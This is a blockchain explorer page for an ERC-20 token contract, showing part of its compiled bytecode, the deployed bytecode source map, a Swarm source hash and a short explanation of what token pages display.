179055565b6001600160a01b038316610b1a5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104c0565b6001600160a01b038216610b7b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104c0565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c405760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104c0565b6001600160a01b038216610ca25760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104c0565b60008111610d045760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104c0565b6001600160a01b03831660009081526004602052604081205460ff16610e2d57610d506064610d4a600c54600f5411610d3f57600854610d43565b600a545b8590610fbb565b90611044565b6013549091506001600160a01b038481169116148015610d7957506001600160a01b0384163014155b15610da657610da36064610d4a600d54600f5411610d9957600954610d43565b600b548590610fbb565b90505b30600090815260016020526040902054601354600160a81b900460ff16158015610ddd57506013546001600160a01b038581169116145b8015610dea575060105481115b15610e2b57610e0c610e0784610e0284601154611086565b611086565b61109b565b478015610e2957600754610e29906001600160a01b031631611215565b505b505b8015610eb8576007546001600160a01b0316600090815260016020526040902054610e589082611253565b600780546001600160a01b03908116600090815260016020908152604091829020949094559154915184815291811692908716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35b6001600160a01b038416600090815260016020526040902054610edb90836112b2565b6001600160a01b038516600090815260016020526040902055610f20610f0183836112b2565b6001600160a01b03851660009081526001602052604090205490611253565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f6a85856112b2565b60405190815260200160405180910390a350505050565b60008184841115610fa55760405162461bcd60e51b81526004016104c09190611322565b506000610fb28486611667565b95945050505050565b600082600003610fcd57506000610405565b6000610fd98385611586565b905082610fe6858361167a565b1461103d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104c0565b9392505050565b600061103d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112f4565b6000818311611095578261103d565b50919050565b6013805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110e3576110e361169c565b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561113c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061116091906115fa565b816001815181106111735761117361169c565b6001600160a01b0392831660209182029290920101526012546111999130911684610ab8565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906111d29085906000908690309042906004016116b2565b600060405180830381600087803b1580156111ec57600080fd5b505af1158015611200573d6000803e3d6000fd5b50506013805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561124f573d6000803e3d6000fd5b5050565b6000806112608385611723565b90508381101561103d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104c0565b600061103d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f81565b600081836113155760405162461bcd60e51b81526004016104c09190611322565b506000610fb2848661167a565b600060208083528351808285015260005b8181101561134f57858101830151858201604001528201611333565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461138557600080fd5b50565b6000806040838503121561139b57600080fd5b82356113a681611370565b946020939093013593505050565b6000806000606084860312156113c957600080fd5b83356113d481611370565b925060208401356113e481611370565b929592945050506040919091013590565b60006020828403121561140757600080fd5b813561103d81611370565b6000806000806080858703121561142857600080fd5b5050823594602084013594506040840135936060013592509050565b6000806040838503121561145757600080fd5b823561146281611370565b9150602083013561147281611370565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156114ce5781600019048211156114b4576114b461147d565b808516156114c157918102915b93841c9390800290611498565b509250929050565b6000826114e557506001610405565b816114f257506000610405565b816001811461150857600281146115125761152e565b6001915050610405565b60ff8411156115235761152361147d565b50506001821b610405565b5060208310610133831016604e8410600b8410161715611551575081810a610405565b61155b8383611493565b806000190482111561156f5761156f61147d565b029392505050565b600061103d60ff8416836114d6565b80820281158282048414176104055761040561147d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600e908201526d1b9bdd08185d5d1a1bdc9a5e995960921b604082015260600190565b60006020828403121561160c57600080fd5b815161103d81611370565b60008060006060848603121561162c57600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561165757600080fd5b8151801515811461103d57600080fd5b818103818111156104055761040561147d565b60008261169757634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156117025784516001600160a01b0316835293830193918301916001016116dd565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156104055761040561147d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207d9852b94b2b97f5757710bb8c29863ad1d2b309113ea4cc7974e05f6d30353d64736f6c63430008130033

Deployed Bytecode Sourcemap

3496:7730:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5489:83;;;;;;;;;;-1:-1:-1;5559:5:0;;;;;;;;;;;-1:-1:-1;;;5559:5:0;;;;5489:83;;;;5559:5;5489:83;:::i;:::-;;;;;;;;6329:161;;;;;;;;;;-1:-1:-1;6329:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;6329:161:0;1023:187:1;4515:52:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;4515:52:0;1215:177:1;3879:26:0;;;;;;;;;;-1:-1:-1;3879:26:0;;;;-1:-1:-1;;;;;3879:26:0;;;;;;-1:-1:-1;;;;;1561:32:1;;;1543:51;;1531:2;1516:18;3879:26:0;1397:203:1;5769:95:0;;;;;;;;;;;;;:::i;6499:313::-;;;;;;;;;;-1:-1:-1;6499:313:0;;;;;:::i;:::-;;:::i;3766:40::-;;;;;;;;;;-1:-1:-1;3766:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;5677:83;;;;;;;;;;-1:-1:-1;5677:83:0;;4267:1;2460:36:1;;2448:2;2433:18;5677:83:0;2318:184:1;5873:119:0;;;;;;;;;;-1:-1:-1;5873:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5966:18:0;5939:7;5966:18;;;:9;:18;;;;;;;5873:119;2573:148;;;;;;;;;;;;;:::i;:::-;;2357:79;;;;;;;;;;-1:-1:-1;2395:7:0;2422:6;-1:-1:-1;;;;;2422:6:0;2357:79;;10668:157;;;;;;;;;;-1:-1:-1;10668:157:0;;;;;:::i;:::-;;:::i;10832:348::-;;;;;;;;;;-1:-1:-1;10832:348:0;;;;;:::i;:::-;;:::i;6001:167::-;;;;;;;;;;-1:-1:-1;6001:167:0;;;;;:::i;:::-;;:::i;10445:215::-;;;;;;;;;;-1:-1:-1;10445:215:0;;;;;:::i;:::-;;:::i;4450:58::-;;;;;;;;;;;;;;;;9562:707;;;;;;;;;;;;;:::i;10275:164::-;;;;;;;;;;-1:-1:-1;10275:164:0;;;;;:::i;:::-;;:::i;6177:143::-;;;;;;;;;;-1:-1:-1;6177:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6285:18:0;;;6258:7;6285:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6177:143;6329:161;6404:4;6421:39;180:10;6444:7;6453:6;6421:8;:39::i;:::-;-1:-1:-1;6478:4:0;6329:161;;;;;:::o;5769:95::-;5822:7;4324:13;4267:1;4324:2;:13;:::i;:::-;4310:27;;:11;:27;:::i;:::-;5842:14;;5769:95;:::o;6499:313::-;6597:4;6614:36;6624:6;6632:9;6643:6;6614:9;:36::i;:::-;6661:121;6670:6;180:10;6692:89;6730:6;6692:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6692:19:0;;;;;;:11;:19;;;;;;;;180:10;6692:33;;;;;;;;;;:37;:89::i;:::-;6661:8;:121::i;:::-;-1:-1:-1;6800:4:0;6499:313;;;;;:::o;2573:148::-;2485:6;;-1:-1:-1;;;;;2485:6:0;180:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;;;;;;;;;2680:1:::1;2664:6:::0;;2643:40:::1;::::0;-1:-1:-1;;;;;2664:6:0;;::::1;::::0;2643:40:::1;::::0;2680:1;;2643:40:::1;2711:1;2694:19:::0;;-1:-1:-1;;;;;;2694:19:0::1;::::0;;2573:148::o;10668:157::-;10750:11;;-1:-1:-1;;;;;10750:11:0;10736:10;:25;10728:52;;;;-1:-1:-1;;;10728:52:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10791:18:0;10812:5;10791:18;;;:8;:18;;;;;:26;;-1:-1:-1;;10791:26:0;;;10668:157::o;10832:348::-;2485:6;;-1:-1:-1;;;;;2485:6:0;180:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;4967:18:::1;::::0;-1:-1:-1;;;4967:18:0;::::1;;;4966:19;4958:60;;;::::0;-1:-1:-1;;;4958:60:0;;5884:2:1;4958:60:0::1;::::0;::::1;5866:21:1::0;5923:2;5903:18;;;5896:30;5962;5942:18;;;5935:58;6010:18;;4958:60:0::1;5682:352:1::0;4958:60:0::1;5029:18;:25:::0;;11011:14:::2;:33:::0;;;;11055:15:::2;:35:::0;;;;-1:-1:-1;11101:29:0;;;;-1:-1:-1;11141:31:0;-1:-1:-1;;;;5029:25:0;;::::1;5077:26:::0;;10832:348::o;6001:167::-;6079:4;6096:42;180:10;6120:9;6131:6;6096:9;:42::i;10445:215::-;10525:11;;-1:-1:-1;;;;;10525:11:0;10511:10;:25;10503:52;;;;-1:-1:-1;;;10503:52:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;10574:22:0;;10566:50;;;;-1:-1:-1;;;10566:50:0;;6241:2:1;10566:50:0;;;6223:21:1;6280:2;6260:18;;;6253:30;-1:-1:-1;;;6299:18:1;;;6292:45;6354:18;;10566:50:0;6039:339:1;10566:50:0;-1:-1:-1;;;;;10627:18:0;;;;;:8;:18;;;;;:25;;-1:-1:-1;;10627:25:0;10648:4;10627:25;;;10445:215::o;9562:707::-;2485:6;;-1:-1:-1;;;;;2485:6:0;180:10;2485:22;2477:67;;;;-1:-1:-1;;;2477:67:0;;;;;;;:::i;:::-;9626:11:::1;::::0;-1:-1:-1;;;9626:11:0;::::1;;;9625:12;9617:47;;;::::0;-1:-1:-1;;;9617:47:0;;6585:2:1;9617:47:0::1;::::0;::::1;6567:21:1::0;6624:2;6604:18;;;6597:30;6663:25;6643:18;;;6636:53;6706:18;;9617:47:0::1;6383:347:1::0;9617:47:0::1;9675:15;:80:::0;;-1:-1:-1;;;;;;9675:80:0::1;9712:42;9675:80:::0;;::::1;::::0;;;9766:58:::1;::::0;9783:4:::1;::::0;4324:13:::1;4267:1;4324:2;:13;:::i;:::-;4310:27;::::0;:11:::1;:27;:::i;9766:58::-;9869:15;;;;;;;;;-1:-1:-1::0;;;;;9869:15:0::1;-1:-1:-1::0;;;;;9869:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9851:55:0::1;;9915:4;9922:15;;;;;;;;;-1:-1:-1::0;;;;;9922:15:0::1;-1:-1:-1::0;;;;;9922:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9851:94;::::0;-1:-1:-1;;;;;;9851:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7221:15:1;;;9851:94:0::1;::::0;::::1;7203:34:1::0;7273:15;;7253:18;;;7246:43;7138:18;;9851:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9835:13;:110:::0;;-1:-1:-1;;;;;9835:110:0;;::::1;-1:-1:-1::0;;;;;;9835:110:0;;::::1;;::::0;;9956:15:::1;::::0;::::1;:31;9995:21;10026:4;10032:24;10026:4:::0;-1:-1:-1;;;;;5966:18:0;5939:7;5966:18;;;:9;:18;;;;;;;5873:119;10032:24:::1;10057:1;10059::::0;10061:7:::1;2395::::0;2422:6;-1:-1:-1;;;;;2422:6:0;;2357:79;10061:7:::1;9956:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;9956:129:0;;;-1:-1:-1;;;;;7659:15:1;;;9956:129:0::1;::::0;::::1;7641:34:1::0;7691:18;;;7684:34;;;;7734:18;;;7727:34;;;;7777:18;;;7770:34;7841:15;;;7820:19;;;7813:44;10069:15:0::1;7873:19:1::0;;;7866:35;7575:19;;9956:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;10103:13:0::1;::::0;10134:15:::1;::::0;10096:71:::1;::::0;-1:-1:-1;;;10096:71:0;;-1:-1:-1;;;;;10134:15:0;;::::1;10096:71;::::0;::::1;8397:51:1::0;-1:-1:-1;;8464:18:1;;;8457:34;10103:13:0;::::1;::::0;-1:-1:-1;10096:29:0::1;::::0;8370:18:1;;10096:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10178:11:0::1;:18:::0;;-1:-1:-1;;;;10207:18:0;-1:-1:-1;;;10207:18:0;;;10249:12:::1;10236:10;:25:::0;9562:707::o;10275:164::-;10364:11;;-1:-1:-1;;;;;10364:11:0;10350:10;:25;10342:52;;;;-1:-1:-1;;;10342:52:0;;;;;;;:::i;:::-;10405:11;:26;;-1:-1:-1;;;;;;10405:26:0;-1:-1:-1;;;;;10405:26:0;;;;;;;;;;10275:164::o;6821:335::-;-1:-1:-1;;;;;6914:19:0;;6906:68;;;;-1:-1:-1;;;6906:68:0;;8986:2:1;6906:68:0;;;8968:21:1;9025:2;9005:18;;;8998:30;9064:34;9044:18;;;9037:62;-1:-1:-1;;;9115:18:1;;;9108:34;9159:19;;6906:68:0;8784:400:1;6906:68:0;-1:-1:-1;;;;;6993:21:0;;6985:68;;;;-1:-1:-1;;;6985:68:0;;9391:2:1;6985:68:0;;;9373:21:1;9430:2;9410:18;;;9403:30;9469:34;9449:18;;;9442:62;-1:-1:-1;;;9520:18:1;;;9513:32;9562:19;;6985:68:0;9189:398:1;6985:68:0;-1:-1:-1;;;;;7064:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7116:32;;1361:25:1;;;7116:32:0;;1334:18:1;7116:32:0;;;;;;;6821:335;;;:::o;7165:1478::-;-1:-1:-1;;;;;7253:18:0;;7245:68;;;;-1:-1:-1;;;7245:68:0;;9794:2:1;7245:68:0;;;9776:21:1;9833:2;9813:18;;;9806:30;9872:34;9852:18;;;9845:62;-1:-1:-1;;;9923:18:1;;;9916:35;9968:19;;7245:68:0;9592:401:1;7245:68:0;-1:-1:-1;;;;;7332:16:0;;7324:64;;;;-1:-1:-1;;;7324:64:0;;10200:2:1;7324:64:0;;;10182:21:1;10239:2;10219:18;;;10212:30;10278:34;10258:18;;;10251:62;-1:-1:-1;;;10329:18:1;;;10322:33;10372:19;;7324:64:0;9998:399:1;7324:64:0;7416:1;7407:6;:10;7399:64;;;;-1:-1:-1;;;7399:64:0;;10604:2:1;7399:64:0;;;10586:21:1;10643:2;10623:18;;;10616:30;10682:34;10662:18;;;10655:62;-1:-1:-1;;;10733:18:1;;;10726:39;10782:19;;7399:64:0;10402:405:1;7399:64:0;-1:-1:-1;;;;;7509:14:0;;7474:17;7509:14;;;:8;:14;;;;;;;;7504:788;;7552:76;7624:3;7552:67;7574:15;;7564:9;;:25;7563:55;;7604:14;;7563:55;;;7591:12;;7563:55;7552:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7657:13;;7540:88;;-1:-1:-1;;;;;;7651:19:0;;;7657:13;;7651:19;:43;;;;-1:-1:-1;;;;;;7674:20:0;;7689:4;7674:20;;7651:43;7648:174;;;7727:79;7802:3;7727:70;7749:16;;7739:9;;:26;7738:58;;7781:15;;7738:58;;;7767:13;;7727:6;;:10;:70::i;:79::-;7715:91;;7648:174;7888:4;7839:28;5966:18;;;:9;:18;;;;;;7914:6;;-1:-1:-1;;;7914:6:0;;;;7913:7;:32;;;;-1:-1:-1;7932:13:0;;-1:-1:-1;;;;;7924:21:0;;;7932:13;;7924:21;7913:32;:74;;;;;7970:17;;7949:20;:38;7913:74;7909:372;;;8008:67;8025:49;8029:6;8036:37;8040:20;8061:11;;8036:3;:37::i;:::-;8025:3;:49::i;:::-;8008:16;:67::i;:::-;8123:21;8166:22;;8163:103;;8226:11;;8213:33;;-1:-1:-1;;;;;8226:11:0;:19;8213:12;:33::i;:::-;7989:292;7909:372;7525:767;7504:788;8308:11;;8305:155;;8366:11;;-1:-1:-1;;;;;8366:11:0;8356:22;;;;:9;:22;;;;;;:37;;8383:9;8356:26;:37::i;:::-;8343:11;;;-1:-1:-1;;;;;8343:11:0;;;8333:22;;;;:9;:22;;;;;;;;;:60;;;;8426:11;;8411:37;;1361:25:1;;;8426:11:0;;;;8411:37;;;;;;1334:18:1;8411:37:0;;;;;;;8305:155;-1:-1:-1;;;;;8486:15:0;;;;;;:9;:15;;;;;;:27;;8506:6;8486:19;:27::i;:::-;-1:-1:-1;;;;;8470:15:0;;;;;;:9;:15;;;;;:43;8538:40;8556:21;:6;8567:9;8556:10;:21::i;:::-;-1:-1:-1;;;;;8538:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;8524:13:0;;;;;;;:9;:13;;;;;:54;;;;8594:41;;;8613:21;:6;8624:9;8613:10;:21::i;:::-;8594:41;;1361:25:1;;;1349:2;1334:18;8594:41:0;;;;;;;7234:1409;7165:1478;;;:::o;1242:190::-;1328:7;1364:12;1356:6;;;;1348:29;;;;-1:-1:-1;;;1348:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1388:9:0;1400:5;1404:1;1400;:5;:::i;:::-;1388:17;1242:190;-1:-1:-1;;;;;1242:190:0:o;1441:246::-;1499:7;1523:1;1528;1523:6;1519:47;;-1:-1:-1;1553:1:0;1546:8;;1519:47;1576:9;1588:5;1592:1;1588;:5;:::i;:::-;1576:17;-1:-1:-1;1621:1:0;1612:5;1616:1;1576:17;1612:5;:::i;:::-;:10;1604:56;;;;-1:-1:-1;;;1604:56:0;;11369:2:1;1604:56:0;;;11351:21:1;11408:2;11388:18;;;11381:30;11447:34;11427:18;;;11420:62;-1:-1:-1;;;11498:18:1;;;11491:31;11539:19;;1604:56:0;11167:397:1;1604:56:0;1678:1;1441:246;-1:-1:-1;;;1441:246:0:o;1696:132::-;1754:7;1781:39;1785:1;1788;1781:39;;;;;;;;;;;;;;;;;:3;:39::i;8655:98::-;8712:7;8739:1;8737;:3;8736:9;;8744:1;8736:9;;;-1:-1:-1;8742:1:0;8655:98;-1:-1:-1;8655:98:0:o;8966:483::-;4803:6;:13;;-1:-1:-1;;;;4803:13:0;-1:-1:-1;;;4803:13:0;;;9068:16:::1;::::0;;9082:1:::1;9068:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9068:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9068:16:0::1;9044:40;;9113:4;9095;9100:1;9095:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9095:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9139:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;9139:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;9095:7;;9139:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9129:4;9134:1;9129:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9129:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;9204:15:::1;::::0;9172:62:::1;::::0;9189:4:::1;::::0;9204:15:::1;9222:11:::0;9172:8:::1;:62::i;:::-;9245:15;::::0;:196:::1;::::0;-1:-1:-1;;;9245:196:0;;-1:-1:-1;;;;;9245:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;9326:11;;9245:15:::1;::::0;9368:4;;9395::::1;::::0;9415:15:::1;::::0;9245:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4839:6:0;:14;;-1:-1:-1;;;;4839:14:0;;;-1:-1:-1;;;;8966:483:0:o;9461:92::-;9518:10;;:27;;-1:-1:-1;;;;;9518:10:0;;;;:27;;;;;9538:6;;9518:10;:27;:10;:27;9538:6;9518:10;:27;;;;;;;;;;;;;;;;;;;;;9461:92;:::o;909:179::-;967:7;;999:5;1003:1;999;:5;:::i;:::-;987:17;;1028:1;1023;:6;;1015:46;;;;-1:-1:-1;;;1015:46:0;;13150:2:1;1015:46:0;;;13132:21:1;13189:2;13169:18;;;13162:30;13228:29;13208:18;;;13201:57;13275:18;;1015:46:0;12948:351:1;1097:136:0;1155:7;1182:43;1186:1;1189;1182:43;;;;;;;;;;;;;;;;;:3;:43::i;1837:189::-;1923:7;1958:12;1951:5;1943:28;;;;-1:-1:-1;;;1943:28:0;;;;;;;;:::i;:::-;-1:-1:-1;1982:9:0;1994:5;1998:1;1994;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1605:456::-;1682:6;1690;1698;1751:2;1739:9;1730:7;1726:23;1722:32;1719:52;;;1767:1;1764;1757:12;1719:52;1806:9;1793:23;1825:31;1850:5;1825:31;:::i;:::-;1875:5;-1:-1:-1;1932:2:1;1917:18;;1904:32;1945:33;1904:32;1945:33;:::i;:::-;1605:456;;1997:7;;-1:-1:-1;;;2051:2:1;2036:18;;;;2023:32;;1605:456::o;2066:247::-;2125:6;2178:2;2166:9;2157:7;2153:23;2149:32;2146:52;;;2194:1;2191;2184:12;2146:52;2233:9;2220:23;2252:31;2277:5;2252:31;:::i;2507:385::-;2593:6;2601;2609;2617;2670:3;2658:9;2649:7;2645:23;2641:33;2638:53;;;2687:1;2684;2677:12;2638:53;-1:-1:-1;;2710:23:1;;;2780:2;2765:18;;2752:32;;-1:-1:-1;2831:2:1;2816:18;;2803:32;;2882:2;2867:18;2854:32;;-1:-1:-1;2507:385:1;-1:-1:-1;2507:385:1:o;2897:388::-;2965:6;2973;3026:2;3014:9;3005:7;3001:23;2997:32;2994:52;;;3042:1;3039;3032:12;2994:52;3081:9;3068:23;3100:31;3125:5;3100:31;:::i;:::-;3150:5;-1:-1:-1;3207:2:1;3192:18;;3179:32;3220:33;3179:32;3220:33;:::i;:::-;3272:7;3262:17;;;2897:388;;;;;:::o;3290:127::-;3351:10;3346:3;3342:20;3339:1;3332:31;3382:4;3379:1;3372:15;3406:4;3403:1;3396:15;3422:422;3511:1;3554:5;3511:1;3568:270;3589:7;3579:8;3576:21;3568:270;;;3648:4;3644:1;3640:6;3636:17;3630:4;3627:27;3624:53;;;3657:18;;:::i;:::-;3707:7;3697:8;3693:22;3690:55;;;3727:16;;;;3690:55;3806:22;;;;3766:15;;;;3568:270;;;3572:3;3422:422;;;;;:::o;3849:806::-;3898:5;3928:8;3918:80;;-1:-1:-1;3969:1:1;3983:5;;3918:80;4017:4;4007:76;;-1:-1:-1;4054:1:1;4068:5;;4007:76;4099:4;4117:1;4112:59;;;;4185:1;4180:130;;;;4092:218;;4112:59;4142:1;4133:10;;4156:5;;;4180:130;4217:3;4207:8;4204:17;4201:43;;;4224:18;;:::i;:::-;-1:-1:-1;;4280:1:1;4266:16;;4295:5;;4092:218;;4394:2;4384:8;4381:16;4375:3;4369:4;4366:13;4362:36;4356:2;4346:8;4343:16;4338:2;4332:4;4329:12;4325:35;4322:77;4319:159;;;-1:-1:-1;4431:19:1;;;4463:5;;4319:159;4510:34;4535:8;4529:4;4510:34;:::i;:::-;4580:6;4576:1;4572:6;4568:19;4559:7;4556:32;4553:58;;;4591:18;;:::i;:::-;4629:20;;3849:806;-1:-1:-1;;;3849:806:1:o;4660:140::-;4718:5;4747:47;4788:4;4778:8;4774:19;4768:4;4747:47;:::i;4805:168::-;4878:9;;;4909;;4926:15;;;4920:22;;4906:37;4896:71;;4947:18;;:::i;4978:356::-;5180:2;5162:21;;;5199:18;;;5192:30;5258:34;5253:2;5238:18;;5231:62;5325:2;5310:18;;4978:356::o;5339:338::-;5541:2;5523:21;;;5580:2;5560:18;;;5553:30;-1:-1:-1;;;5614:2:1;5599:18;;5592:44;5668:2;5653:18;;5339:338::o;6735:251::-;6805:6;6858:2;6846:9;6837:7;6833:23;6829:32;6826:52;;;6874:1;6871;6864:12;6826:52;6906:9;6900:16;6925:31;6950:5;6925:31;:::i;7912:306::-;8000:6;8008;8016;8069:2;8057:9;8048:7;8044:23;8040:32;8037:52;;;8085:1;8082;8075:12;8037:52;8114:9;8108:16;8098:26;;8164:2;8153:9;8149:18;8143:25;8133:35;;8208:2;8197:9;8193:18;8187:25;8177:35;;7912:306;;;;;:::o;8502:277::-;8569:6;8622:2;8610:9;8601:7;8597:23;8593:32;8590:52;;;8638:1;8635;8628:12;8590:52;8670:9;8664:16;8723:5;8716:13;8709:21;8702:5;8699:32;8689:60;;8745:1;8742;8735:12;10812:128;10879:9;;;10900:11;;;10897:37;;;10914:18;;:::i;10945:217::-;10985:1;11011;11001:132;;11055:10;11050:3;11046:20;11043:1;11036:31;11090:4;11087:1;11080:15;11118:4;11115:1;11108:15;11001:132;-1:-1:-1;11147:9:1;;10945:217::o;11701:127::-;11762:10;11757:3;11753:20;11750:1;11743:31;11793:4;11790:1;11783:15;11817:4;11814:1;11807:15;11833:980;12095:4;12143:3;12132:9;12128:19;12174:6;12163:9;12156:25;12200:2;12238:6;12233:2;12222:9;12218:18;12211:34;12281:3;12276:2;12265:9;12261:18;12254:31;12305:6;12340;12334:13;12371:6;12363;12356:22;12409:3;12398:9;12394:19;12387:26;;12448:2;12440:6;12436:15;12422:29;;12469:1;12479:195;12493:6;12490:1;12487:13;12479:195;;;12558:13;;-1:-1:-1;;;;;12554:39:1;12542:52;;12649:15;;;;12614:12;;;;12590:1;12508:9;12479:195;;;-1:-1:-1;;;;;;;12730:32:1;;;;12725:2;12710:18;;12703:60;-1:-1:-1;;;12794:3:1;12779:19;12772:35;12691:3;11833:980;-1:-1:-1;;;11833:980:1:o;12818:125::-;12883:9;;;12904:10;;;12901:36;;;12917:18;;:::i

Swarm Source

ipfs://7d9852b94b2b97f5757710bb8c29863ad1d2b309113ea4cc7974e05f6d30353d
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.